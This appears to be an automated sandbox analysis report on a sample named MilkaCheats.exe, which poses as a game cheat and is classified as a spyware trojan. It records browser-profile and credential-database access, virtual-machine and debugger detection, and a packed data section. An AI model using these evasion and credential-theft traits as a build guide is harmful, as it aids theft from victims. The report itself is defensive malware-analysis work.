Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB

Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: String function: 000C79D0 appears 54 times
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: String function: 000FACA0 appears 99 times
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: String function: 000FC5A0 appears 152 times

Source: C:\Users\user\Desktop\MilkaCheats.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6232 -s 232

Source: MilkaCheats.exe, 00000000.00000000.1664737880.0000000000144000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePrint.Exej% vs MilkaCheats.exe
Source: MilkaCheats.exe, 00000001.00000003.1672593382.0000000001213000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePrint.Exej% vs MilkaCheats.exe
Source: MilkaCheats.exe, 00000001.00000002.1848002832.0000000000144000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePrint.Exej% vs MilkaCheats.exe
Source: MilkaCheats.exe	Binary or memory string: OriginalFilenamePrint.Exej% vs MilkaCheats.exe

Source: MilkaCheats.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: MilkaCheats.exe

Static PE information: Section: .data ZLIB complexity 0.9909225074962519

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/6@3/1

Source: C:\Users\user\Desktop\MilkaCheats.exe

File created: C:\Users\user\Desktop\static.lib

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6232

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\137f0f92-02a8-442e-ba3f-dee856a53db1

Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe	Command line argument: Window1	0_2_000C59D6
Source: C:\Users\user\Desktop\MilkaCheats.exe	Command line argument: static.lib	0_2_000C59D6
Source: C:\Users\user\Desktop\MilkaCheats.exe	Command line argument: static.lib	0_2_000C59D6
Source: C:\Users\user\Desktop\MilkaCheats.exe	Command line argument: static.lib	0_2_000C59D6

Source: MilkaCheats.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\MilkaCheats.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MilkaCheats.exe, 00000001.00000003.1712714034.00000000039EB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: MilkaCheats.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696333830); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: MilkaCheats.exe	String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696333830); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856); user_pref("app.update.lastUpdateTime.xpi-signature-v

Source: C:\Users\user\Desktop\MilkaCheats.exe

File read: C:\Users\user\Desktop\MilkaCheats.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\MilkaCheats.exe "C:\Users\user\Desktop\MilkaCheats.exe"
Source: C:\Users\user\Desktop\MilkaCheats.exe	Process created: C:\Users\user\Desktop\MilkaCheats.exe "C:\Users\user\Desktop\MilkaCheats.exe"
Source: C:\Users\user\Desktop\MilkaCheats.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6232 -s 232
Source: C:\Users\user\Desktop\MilkaCheats.exe	Process created: C:\Users\user\Desktop\MilkaCheats.exe "C:\Users\user\Desktop\MilkaCheats.exe"	Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: MilkaCheats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: MilkaCheats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: MilkaCheats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: MilkaCheats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: MilkaCheats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: MilkaCheats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: MilkaCheats.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: MilkaCheats.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: MilkaCheats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: MilkaCheats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: MilkaCheats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: MilkaCheats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: MilkaCheats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0012CA60 push eax; mov dword ptr [esp], F4F5F6F7h	0_2_0012CA6E
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000C6B5A push ecx; ret	0_2_000C6B6D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000C511C push eax; ret	0_2_000C517C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013498A1 push ss; retf	1_3_013498A2
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01345899 push cs; retf	1_3_0134589A
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_0134D889 push ds; ret	1_3_0134D88A
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01371423 push cs; retf	1_3_0137142D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C push esi; retf 0020h	1_3_01370F93

Source: C:\Users\user\Desktop\MilkaCheats.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\MilkaCheats.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe

API coverage: 6.2 %

Source: C:\Users\user\Desktop\MilkaCheats.exe TID: 6572	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe TID: 6548	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\MilkaCheats.exe

Code function: 0_2_000DB239 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_000DB239

Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MilkaCheats.exe, 00000001.00000002.1848395056.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1688344395.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847826602.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847565217.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: MilkaCheats.exe, 00000001.00000002.1848284074.00000000012BD000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847565217.00000000012BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MilkaCheats.exe, 00000001.00000002.1848395056.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1688344395.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847826602.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847565217.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,\|
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\MilkaCheats.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe

Code function: 0_2_000C511C LdrInitializeThunk,

0_2_000C511C

Source: C:\Users\user\Desktop\MilkaCheats.exe

Code function: 0_2_000CB4F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_000CB4F3

Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000C59D6 mov edi, dword ptr fs:[00000030h]	0_2_000C59D6
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000D951A mov eax, dword ptr fs:[00000030h]	0_2_000D951A
